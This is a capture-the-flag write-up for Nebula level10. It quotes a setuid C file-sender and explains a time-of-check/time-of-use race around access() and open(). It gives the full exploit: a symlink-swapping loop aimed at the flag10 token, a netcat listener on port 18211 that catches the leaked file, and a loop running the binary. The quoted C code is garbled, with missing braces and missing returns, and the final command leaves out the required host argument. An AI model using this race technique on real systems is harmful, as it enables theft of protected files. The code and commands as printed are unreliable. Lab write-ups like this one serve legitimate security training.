Exploit Exercises Nebula level10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.


#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);

The man pages best summarizes the vulnerability so I will just quote it here.

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open() creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

So there exists a race condition vulnerability in the binary file.
I decided to create a symbolic link that will continuously alternate pointing between my fake token and the real token owned by the flag10 user. This way, I will be able to enter access() with my token at one random point in time. And if I’m lucky, the link will swap and point to the real token just in time for open() function call. I do this in a never ending while loop to increase my chance of succeeding.

level10@nebula:~$ while true; do ln -sf /home/flag10/token token; ln -sf /tmp/token token; done

Then on a separate instance of shell, I kicked off the netcat to listen to the port 18211 and log activities.

level10@nebula:~$ while true; do nc -l 18211 >> netcat.log ; done

Finally I run the binary code with my symbolic link as the token.

 level10@nebula:~$ while true; do /home/flag10/flag10 token; done

Checking my netcat log, sure enough I was able to find the token printed out for me in between my fake ones!

There actually is a big loophole to this level. The password to user flag10 was already stored in a file called x in the level10 user’s directory… I think this was an unintentional hint.

This is an image